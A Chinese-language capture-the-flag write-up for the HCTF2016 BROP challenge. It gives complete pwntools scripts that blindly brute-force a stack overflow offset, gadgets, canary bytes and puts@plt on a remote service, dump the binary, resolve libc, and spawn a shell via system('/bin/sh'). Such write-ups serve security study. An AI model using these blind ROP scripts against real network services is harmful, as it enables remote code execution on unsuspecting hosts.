HCTF2016-BROP¶
题目并没有给原文件,那么就必须采取爆破的方式将我们想要的信息都给猜出来。
解题大概思路:
1、求出栈溢出的偏移。
2、求出一个正常返回到main的函数位置。(来判断下面穷举时的代码)。
3、因为__libc_csu_init一般都会用到,其中的通用gadgets在程序的其他位置中也并不常见,因此也将其作为猜解的目标。求出通用gadgets的位置。
4、确定put函数的位置。
5、得到put函数之后将前面的文件dump下来,求出got表中的位置,再求出加载的实际位置。
6、确定libc,求出system函数和/bin/sh的位置。
7、利用。
ps:如果存在canary,canary在程序重启后不变,那么可以按字节对canary进行爆破。比如先尝试改变第一个字节,如果程序不能继续跑起来,就说明第一个字节不对,如果程序能跑起来,就说明第一个字节正确,继续跑下一个字节
求栈溢出的偏移¶
def search_offset(): i = 1 while 1: try: sh = remote("127.0.0.1",9999) sh.recvuntil("WelCome my friend,Do you know password?\n") payload = i * 'a' sh.send(payload) output = sh.recv() sh.close() i = i + 1 except Exception: sh.close() return i - 1
求出一个可以正常返回到main函数的地址¶
def stop_gadgets(): #addr = 0x4006b2 addr = 0x400000 while 1: try: sh = remote("127.0.0.1",9999) payload = 'a' * 72 payload += p64(addr) sh.recvuntil("WelCome my friend,Do you know password?\n") sh.sendline(payload) sh.recv() sh.close() print 'the addr is :0x%x' % (addr) break except Exception: addr = addr + 1 sh.close()
求出通用gadgets的位置,为了与返回到main函数的gadget作区分,还要做一个判断¶
def find_brop_gadgets(): addr = 0x4007b0 while 1: try: sh = remote("127.0.0.1",9999) payload = 'a' * 72 payload += p64(addr) payload += p64(1) * 6 payload += p64(stop_gadget) sh.recvuntil("WelCome my friend,Do you know password?\n") sh.sendline(payload) sh.recv() sh.close() print 'the addr is :0x%x' % (addr) return addr except Exception: addr = addr + 1 sh.close() def check_brop_gadgets(): print hex(addr) try: sh = remote("127.0.0.1",9999) payload = 'a' * 72 payload += p64(addr) + p64(1)*7 sh.recvuntil("WelCome my friend,Do you know password?\n") sh.sendline(payload) sh.recv() sh.close() print 'false' except Exception: print 'true'
确定put函数在plt中的位置¶
def find_put_plt(): addr = 0x400550 while 1: try: payload = 72 * 'a' payload += p64(brop_gadget+9) payload += p64(0x400000) payload += p64(addr) payload += p64(stop_gadget) sh = remote("127.0.0.1",9999) sh.recvuntil("WelCome my friend,Do you know password?\n") sh.sendline(payload) output = sh.recv() sh.close() if output.startswith('\x7fELF'): print 'the addr is :0x%x' % (addr) return addr else: addr = addr + 1 except Exception: sh.close() addr = addr + 1
具体可以看一下两条汇编指令的机器码
pop r15 在brop_gadgets+8处,因此 pop rdi在brop_gadgets+9处
同理也可以控制rsi 2、求出来的put地址是 0x400555,但其实put函数在plt中的实际位置是0x400560,当然使用求出来的地址也无所谓
利用put函数把二进制文件dump下来,从而找到put函数在got表中的地址¶
def leak(): addr = 0x400000 result = "" while (addr<0x400700): payload = 72 * 'a' payload += p64(brop_gadget+9) payload += p64(addr) payload += p64(put_gadget) payload += p64(stop_gadget) sh = remote("127.0.0.1",9999) sh.recvuntil("WelCome my friend,Do you know password?\n") sh.send(payload) try: data = sh.recv() sh.close() try: data = data[:data.index("\nWelCome")] except Exception: data = data if (data == ""): data = '\x00' except Exception: sh.close() continue; result += data addr = addr + len(data) with open('leak_code', 'wb') as f: f.write(result) print 'success'
可以看到 put在got表中的地址为0x601018
然后找到对应的libc库 ,利用偏移找到真正的system地址和/bin/sh地址,在进行利用
sys_addr = 0 bin_addr = 0 offset = 72 brop_gadget = 0x4007ba stop_gadget = 0x4006b6 put_gadget = 0x400555 put_got = 0x601018 payload = 'a' * 72 payload += p64(brop_gadget+9) payload += p64(put_got) payload += p64(put_gadget) payload += p64(stop_gadget) sh = remote("127.0.0.1",9999) sh.recvuntil("password?\n") sh.sendline(payload) data = sh.recv() put_addr = u64(data.ljust(8, '\x00')) libc = LibcSearcher('puts',put_addr) libc_base = put_addr - libc.dump('puts') sys_addr = libc_base + libc.dump('system') bin_addr = libc_base + libc.dump('str_bin_sh') #addr = find_brop_gadgets() payload = 'a' * 72 payload += p64(brop_gadget+9) payload += p64(bin_addr) payload += p64(sys_addr) payload += p64(stop_gadget) sh.recvuntil("password?\n") sh.sendline(payload) sh.interactive()